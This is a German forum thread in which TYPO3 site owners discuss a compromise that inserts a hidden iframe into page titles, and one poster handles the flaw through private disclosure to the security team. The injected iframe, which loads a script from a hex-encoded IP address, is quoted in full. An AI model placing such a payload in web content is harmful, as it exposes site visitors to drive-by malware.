Auf meiner Typo3-Seite wird immer wieder ein Seitentitel verändert; und zwar wird dort
<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>
hinter dem Text des Seitentitels eingefügt und bei Besuchern, die IE haben, versucht, irgendeinen Dreck zu installieren. Inzwischen ist das ganze das 4 mal passiert. Im Änderungslog sind keine Aktivitäten darüber zu entdecken.
Hatte jemand etwas Ähnliches schon einmal oder weiß jemand, wo ich anfangen könnte, dieses Leck abzudichten?
chupa schrieb
Auf meiner Typo3-Seite wird immer wieder ein Seitentitel verändert; und zwar wird dort
<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>
hinter dem Text des Seitentitels eingefügt und bei Besuchern, die IE haben, versucht, irgendeinen Dreck zu installieren. Inzwischen ist das ganze das 4 mal passiert. Im Änderungslog sind keine Aktivitäten darüber zu entdecken.
Hatte jemand etwas Ähnliches schon einmal oder weiß jemand, wo ich anfangen könnte, dieses Leck abzudichten?
Ja, ich hatte das auch.
Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.
Ich würde es sehr begrüßen, wenn man diesen Sachverhalt an die Typo3-Entwickler weitergibt, da man dann darauf reagieren kann.
Es bringt nämlich nichts, das im Verborgenen zu lösen. Denn dadurch gibt es keinen Fix und andere User würden auf der Strecke bleiben.
timmy2007 schrieb
Ich würde es sehr begrüßen, wenn man diesen Sachverhalt an die Typo3-Entwickler weitergibt, da man dann darauf reagieren kann.
Es bringt nämlich nichts, das im Verborgenen zu lösen. Denn dadurch gibt es keinen Fix und andere User würden auf der Strecke bleiben.
Ich vergaß, das hier öffentlich zu schreiben, in der Privatnachricht an chupa hatte ich das bereits erwähnt...
Ich habe die Schwachstelle sowie eine potentielle Lösung bereits gestern an das TYPO3-Security-Team gemeldet, aber noch keine Rückmeldung erhalten.
Solange kein Fix verfügbar ist, werde ich aber nicht öffentlich auf Details eingehen.
Kannst du mir bitte auch diese Informationen zusenden?
Könntest du mir bitte die Informationen auch schicken, wir haben das gleiche Problem.
Hallo,
ich hatte das Problem die Tage auch, als ich zufällig auf einer Kunden-Seite war. Konnte aber ebenfalls keinen Fehler in T3 ausmachen. Hast du/habt ihr eine Lösung (Hack) dafür gefunden? Wenn dem so ist, dann würde ich mich über eine kurze PM freuen.
Wenn nicht, dann würde ich dich/euch bitten, die Infos für euch zu behalten, damit die Info nicht zu weit rumgeht... Dann macht es nämlich keinen Sinn, die Schwachstelle rumzuschicken - ausser an das Security Team.
Danke&Gruß,
Tim
//edit: Rechtschraibfeder
Einige von unseren Seiten sind auch von dem Code verdreckt worden.
So wie es aussieht ist es kein Sicherheitsproblem von TYPO3 da der
"Bot" (Ich gehe jetzt mal sehr stark davon aus das ein Bot die Seiten
infiziert) bei uns auch statische Seiten infiziert hat. Dazu zählen
z.b. auch andere CMS.
Es scheint so als sei der Fehler direkt im System bzw. in einer
Systemweiten Software.
Benutzen hier alle UNIX oder gibt es hier auch jemanden der das
Problem in einer Windows Server Umgebung hat?
Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.
Anscheinend liegt es aber doch an Typo3... 😉
nickno schrieb
Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.
Anscheinend liegt es aber doch an Typo3... 😉
Wieso bist Du dir da so sicher?
Ich denke aus seinem Posting geht nicht hervor welche Methode genutzt wurde um den code einzufügen. Wie ich bereits geschrieben habe sind auch statische nicht-TYPO3 Seiten davon betroffen die in keinem Zusammenhang mit den TYPO3 Systemen stehen.
iHunte schrieb
Ich denke aus seinem Posting geht nicht hervor welche Methode genutzt wurde um den code einzufügen. Wie ich bereits geschrieben habe sind auch statische nicht-TYPO3 Seiten davon betroffen die in keinem Zusammenhang mit den TYPO3 Systemen stehen.
Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
Der Schadcode selbst wurde aber an unterschiedlichen Stellen angebracht.
Mal ware er direkt in der index.php an erster Stelle drin,
dann im Seitentitel (in der DB) mit eingebaut,
dann in einer Javascript-Datei als "verschlüsselter" Code, der per DocumentWrite in die Seite geschrieben wurde.
Der Angreifer war da sehr Ideenreich.
Daher kann das schon sein, dass über die TYPO3-Schwachstelle der Einbruch erfolgte, und dann auch statische Dateien manipuliert wurden.
nickno schrieb
Wenn nicht, dann würde ich dich/euch bitten, die Infos für euch zu behalten, damit die Info nicht zu weit rumgeht... Dann macht es nämlich keinen Sinn, die Schwachstelle rumzuschicken - ausser an das Security Team.
Genau deshalb gebe ich mich (auch in der PM) sehr bedeckt.
Da alles auf gegenseitigem Vertrauen basiert - und ich dieses generell erst mal nicht habe - bin ich lieber zu verschwiegen und trete dabei dem einen oder anderen auf die Füße, als mir den Vorwurf machen zu lassen, ich hätte den Exploit rumposaunt.
just2b schrieb
und zwar welcher?
georg
Hast 'ne PM.
Was mir noch auffällt:
zwei Wochen bleibt der Originalbeitrag unbeantwortet, aber kaum nachdem ich verkündet habe, ich wüsste, wie es geht, haben plötzlich alle das Problem.... #paralyzed#
just2b schrieb
jan.radecker schrieb
Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
und zwar welcher?
georg
Bitte nicht posten. Da der Jan den Fehler schnell gefunden hat, wird diese sicher recht trivial sein!
nickno schrieb
just2b schrieb
jan.radecker schrieb
Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
und zwar welcher?
georg
Bitte nicht posten. Da der Jan den Fehler schnell gefunden hat, wird diese sicher recht trivial sein!
Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.
jan.radecker schrieb
just2b schrieb
und zwar welcher?
georg
Hast 'ne PM.
Fühl mich benachteiligt... 😉
Was mir noch auffällt:
zwei Wochen bleibt der Originalbeitrag unbeantwortet, aber kaum nachdem ich verkündet habe, ich wüsste, wie es geht, haben plötzlich alle das Problem.... #paralyzed#
Nein, ich dachte der Fehler sei lokal auf dem Computer und hab nicht den Quelltext nach Fehlern durchsucht. Stattdessen hab ich mir diesen (komischen) Spybot installiert, der widerum nichts finden konnte. Nachdem Java aus war, hatte ich auch erstmal Ruhe.
humpun schrieb
Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.
Woher bist dir so sicher, dass das nen Bot ist. Vielleicht ist es auch einfach nur wieder ein dummer Schüler, der Langeweile hat. Wie ich das sehe sind momentan etwa eine Handvoll Seiten hier im Forum betroffen. Also wird es sich um <50 Seiten handeln. Wenn man den Exploit kennt, kann man sowas am Nachmittag verbreiten.
Meine güte..
als ob das spekulieren was bringt....
Jan hats dem Security-Team gemeldet und gibt auch per PM den ext-key nicht raus (auch nicht an mich [@nickno]).
also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden 😉
georg
[OFFTOPIC]
just2b schrieb
Meine güte..
(auch nicht an mich [@nickno]).
Sorry, kam wohl etwas zu ernst rüber... :o
also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden 😉
In diesem Forem fehlt der BB-Smily, der um Gnade bettelt o.O
[/OFFTOPIC]